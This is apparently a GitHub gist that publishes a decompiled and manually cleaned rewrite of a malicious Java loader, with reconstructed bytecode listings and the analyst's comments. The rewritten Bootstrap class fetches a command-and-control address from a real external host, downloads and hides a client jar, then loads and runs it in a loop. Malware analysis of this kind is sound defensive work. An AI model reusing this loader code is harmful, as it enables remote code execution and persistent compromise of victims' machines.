-
-
Save SilverAndro/a992f85bec29bb248c354ccf5d2206fe to your computer and use it in GitHub Desktop.
lib.jar decompiled and rewritten
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Boostrap.class | |
* | |
* Decompiler: Quiltflower | |
* Rewrite/Cleanup: SilverAndro | |
* Comment: Some nasty flow here, did my best to manually clean it up, QF even choked in a few cases | |
*/ | |
import java.io.ByteArrayOutputStream; | |
import java.io.EOFException; | |
import java.io.IOException; | |
import java.io.PrintStream; | |
import java.lang.reflect.Method; | |
import java.net.*; | |
import java.nio.ByteBuffer; | |
import java.nio.channels.SeekableByteChannel; | |
import java.nio.channels.SocketChannel; | |
import java.nio.file.*; | |
import java.security.MessageDigest; | |
import java.util.Arrays; | |
import java.util.Objects; | |
import java.util.function.Supplier; | |
public class Bootstrap { | |
public static ServerSocket serverSocket = null; | |
public static void runClient(Path path, InetAddress inetAddress, byte[] refBytes) { | |
try (URLClassLoader classLoader = new URLClassLoader(new URL[]{path.toUri().toURL()}, Bootstrap.class.getClassLoader())) { | |
Class<?> clientClass = Class.forName("dev.neko.nekoclient.Client", true, classLoader); | |
Method clientMain = clientClass.getMethod("start", InetSocketAddress.class, byte[].class); | |
clientMain.invoke(null, new InetSocketAddress(inetAddress, 1337), refBytes); | |
} catch (Throwable ignored) {} | |
} | |
public static InetSocketAddress downloadOrTryUpdateClient(Supplier<InetSocketAddress> addressSupplier, Path clientPath) { | |
boolean keepTrying = true; | |
InetSocketAddress socketAddress = null; | |
while (keepTrying) { | |
try { | |
SocketChannel socketChannel = SocketChannel.open(); | |
socketAddress = addressSupplier.get(); | |
socketChannel.connect(socketAddress); | |
try { | |
socketChannel.write(ByteBuffer.allocate(4).putInt(0).flip()); | |
boolean continueUpdate = C2ByteBuffer.newFromChannel(socketChannel, 1).asBoolean(); | |
if (!continueUpdate) { | |
throw new IllegalStateException(); | |
} | |
byte[] downloadedHash = C2ByteBuffer | |
.newFromChannel(socketChannel, C2ByteBuffer.newFromChannel(socketChannel, 4).asInt()) | |
.extractBytes(); | |
boolean needsUpdate = true; | |
if (Files.exists(clientPath)) { | |
if (Files.isRegularFile(clientPath)) { | |
byte[] fileBytes = Files.readAllBytes(clientPath); | |
MessageDigest hash = MessageDigest.getInstance("MD5"); | |
hash.update(fileBytes); | |
needsUpdate = !Arrays.equals(hash.digest(), downloadedHash); | |
} | |
} | |
socketChannel.write(ByteBuffer.allocate(1).put((byte)(needsUpdate ? 1 : 0)).flip()); | |
if (needsUpdate) { | |
var fileOpenOptions = new OpenOption[] {StandardOpenOption.WRITE, StandardOpenOption.TRUNCATE_EXISTING, StandardOpenOption.CREATE}; | |
try (SeekableByteChannel fileByteChannel = Files.newByteChannel(clientPath, fileOpenOptions)) { | |
int fileSize = C2ByteBuffer.newFromChannel(socketChannel, 4).asInt(); | |
long readBytes; | |
for (int var10 = 0; var10 < fileSize && fileSize - var10 > 0; var10 = (int)((long) var10 + readBytes)) { | |
ByteBuffer newFile = ByteBuffer.allocate(Math.min(1024, fileSize - var10)); | |
readBytes = socketChannel.read(newFile); | |
if (readBytes == -1) { | |
throw new EOFException(); | |
} | |
fileByteChannel.write(newFile.flip()); | |
} | |
} | |
} | |
socketChannel.write(ByteBuffer.allocate(4).putInt(0).flip()); | |
socketChannel.close(); | |
if (clientPath.getFileSystem().supportedFileAttributeViews().contains("dos")) { | |
Files.setAttribute(clientPath, "dos:hidden", true); | |
Files.setAttribute(clientPath, "dos:system", true); | |
} | |
} catch (Throwable exception) { | |
try { | |
SocketChannel openedChannel = SocketChannel.open(); | |
openedChannel.connect(new InetSocketAddress(addressSupplier.get().getAddress(), 1338)); | |
openedChannel.configureBlocking(true); | |
openedChannel.write(ByteBuffer.allocate(4).putInt(2).flip()); | |
ByteArrayOutputStream stackTraceByteArray = new ByteArrayOutputStream(); | |
exception.printStackTrace(new PrintStream(stackTraceByteArray)); | |
byte[] stackTraceBytes = stackTraceByteArray.toByteArray(); | |
openedChannel.write(ByteBuffer | |
.allocate(4 + stackTraceBytes.length) | |
.putInt(stackTraceBytes.length) | |
.put(stackTraceBytes) | |
.flip() | |
); | |
openedChannel.close(); | |
} catch (IOException ignored) {} | |
} | |
} catch (IOException ignored) {} | |
try { | |
Thread.sleep(5000L); | |
} catch (InterruptedException var15) { | |
keepTrying = false; | |
continue; | |
} | |
keepTrying = false; | |
} | |
return socketAddress; | |
} | |
public static void main(String[] args) throws URISyntaxException, IOException, InterruptedException { | |
System.out.println( | |
""" | |
################################################ | |
# # | |
# ## # # ## ### ### ## ### # | |
# # # # # # # # # # # # # # | |
# ### # # ### # # # ## # # | |
# # # ### ### # # # ### # # ### # | |
# # | |
# Obfuscation by Allatori Obfuscator v8.5 DEMO # | |
# # | |
# http://www.allatori.com # | |
# # | |
################################################ | |
""" | |
); | |
// Worst, logic flow, ever | |
// I am only 70% certain on how this jumps | |
// See "WeirdBytecodeSocket" for the original bytecode | |
if (Objects.isNull(serverSocket) || serverSocket.isClosed()) { | |
serverSocket = new ServerSocket(9655); | |
var shutdownThread = new Thread(() -> { | |
try { | |
serverSocket.close(); | |
} catch (IOException ignored) { | |
} | |
}); | |
Runtime.getRuntime().addShutdownHook(shutdownThread); | |
} else { | |
if (!serverSocket.isBound()) { | |
serverSocket = new ServerSocket(9655); | |
var shutdownThread = new Thread(() -> { | |
try { | |
serverSocket.close(); | |
} catch (IOException ignored) { | |
} | |
}); | |
Runtime.getRuntime().addShutdownHook(shutdownThread); | |
} | |
} | |
var currentLocation = Paths.get(Bootstrap.class.getProtectionDomain().getCodeSource().getLocation().toURI()); | |
var clientLocation = currentLocation.getParent().resolve("client.jar"); | |
var refLocation = currentLocation.getParent().resolve(".ref"); | |
byte[] refBytes = null; | |
if (Files.exists(refLocation) && Files.isReadable(refLocation)) { | |
refBytes = Files.readAllBytes(refLocation); | |
} | |
// This doesn't seem quite right, but uh, idk how else to read the bytecode here | |
// It def loops though, so I suspect this is fairly accurate | |
// See "WeirdBytecodeLoop" file for the original bytecode ive reconstructed this from | |
while (true) { | |
var address = downloadOrTryUpdateClient(Bootstrap::getSocketAddress, clientLocation); | |
runClient(clientLocation, address.getAddress(), refBytes); | |
Thread.sleep(5000); | |
} | |
} | |
// SYNTHETIC METHOD, separated for clarity | |
private static InetSocketAddress getSocketAddress() { | |
try { | |
var connection = new URL("https", "files-8ie.pages.dev", "/ip").openConnection(); | |
connection.setRequestProperty("User-Agent", "a"); | |
var output = new byte[4]; | |
connection.getInputStream().read(output); | |
var address = InetAddress.getByAddress(output); | |
return new InetSocketAddress(address, 8083); | |
/* | |
* Comment: im only 95% certain on this, but all the bytecode just seems to throw eventually | |
* so i am declaring this Good Enough | |
*/ | |
} catch (IOException err) { | |
throw new RuntimeException(err); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* h.class | |
* | |
* Decompiler: Quiltflower | |
* Rewrite/Cleanup: SilverAndro | |
* Comment: Originally fully obfuscated, pretty easy to reverse though | |
*/ | |
import java.io.EOFException; | |
import java.io.IOException; | |
import java.nio.Buffer; | |
import java.nio.ByteBuffer; | |
import java.nio.channels.SocketChannel; | |
import java.util.Objects; | |
public class C2ByteBuffer { | |
private final ByteBuffer byteBuffer; | |
public C2ByteBuffer(ByteBuffer buffer) { | |
byteBuffer = buffer; | |
} | |
public final char asChar() { | |
return byteBuffer.getChar(); | |
} | |
public final boolean asBoolean() { | |
return byteBuffer.get() == 1; | |
} | |
public final byte asByte() { | |
return byteBuffer.get(); | |
} | |
public final int modifiedShort() { | |
return byteBuffer.getShort() & 65535; | |
} | |
public final short asShort() { | |
return byteBuffer.getShort(); | |
} | |
public final float asFloat() { | |
return byteBuffer.getFloat(); | |
} | |
public final byte[] asByteArray() { | |
return byteBuffer.array(); | |
} | |
public final byte[] extractBytes() { | |
byte[] output = new byte[byteBuffer.getInt()]; | |
byteBuffer.get(output); | |
return output; | |
} | |
public static C2ByteBuffer newFromChannel(SocketChannel channel, int size) throws IOException { | |
var allocated = ByteBuffer.allocate(size); | |
while(allocated.remaining() > 0) { | |
if (Objects.equals(channel.read(allocated), -1) && allocated.remaining() > 0) { | |
throw new EOFException(); | |
} | |
} | |
((Buffer)allocated).flip(); | |
return new C2ByteBuffer(allocated); | |
} | |
public final String asString() { | |
return new String(asByteArray()); | |
} | |
public final double asDouble() { | |
return byteBuffer.getDouble(); | |
} | |
public final ByteBuffer getByteBuffer() { | |
return byteBuffer; | |
} | |
public final long asLong() { | |
return byteBuffer.getLong(); | |
} | |
public final int asInt() { | |
return byteBuffer.getInt(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// af: aload 0 | |
// b0: invokedynamic get ()Ljava/util/function/Supplier; bsm=java/lang/invoke/LambdaMetafactory.metafactory (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; args=[ ()Ljava/lang/Object;, Bootstrap.ALLATORIxDEMO ()Ljava/net/InetSocketAddress;, ()Ljava/net/InetSocketAddress; ] | |
// b5: aload 0 | |
// b6: invokestatic Bootstrap.ALLATORIxDEMO (Ljava/util/function/Supplier;Ljava/nio/file/Path;)Ljava/net/InetSocketAddress; | |
// b9: invokevirtual java/net/InetSocketAddress.getAddress ()Ljava/net/InetAddress; | |
// bc: aload 3 | |
// bd: invokestatic Bootstrap.ALLATORIxDEMO (Ljava/nio/file/Path;Ljava/net/InetAddress;[B)V | |
// c0: goto c4 | |
// c3: pop | |
// c4: ldc2_w 5000 | |
// c7: invokestatic java/lang/Thread.sleep (J)V | |
// ca: aload 0 | |
// cb: goto b0 | |
// ce: pop | |
// cf: aload 0 | |
// d0: goto b0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 0e: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket; | |
// 11: invokestatic java/util/Objects.isNull (Ljava/lang/Object;)Z | |
// 14: ifne 29 | |
// 17: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket; | |
// 1a: invokevirtual java/net/ServerSocket.isClosed ()Z | |
// 1d: ifne 29 | |
// 20: getstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket; | |
// 23: invokevirtual java/net/ServerSocket.isBound ()Z | |
// 26: ifne 4f | |
// 29: new java/net/ServerSocket | |
// 2c: dup | |
// 2d: sipush 9655 | |
// 30: invokespecial java/net/ServerSocket.<init> (I)V | |
// 33: putstatic Bootstrap.ALLATORIxDEMO Ljava/net/ServerSocket; | |
// 36: invokestatic java/lang/Runtime.getRuntime ()Ljava/lang/Runtime; | |
// 39: new java/lang/Thread | |
// 3c: dup | |
// 3d: invokedynamic run ()Ljava/lang/Runnable; bsm=java/lang/invoke/LambdaMetafactory.metafactory (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; args=[ ()V, Bootstrap.ALLATORIxDEMO ()V, ()V ] | |
// 42: invokespecial java/lang/Thread.<init> (Ljava/lang/Runnable;)V | |
// 45: invokevirtual java/lang/Runtime.addShutdownHook (Ljava/lang/Thread;)V | |
// 48: goto 4f |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment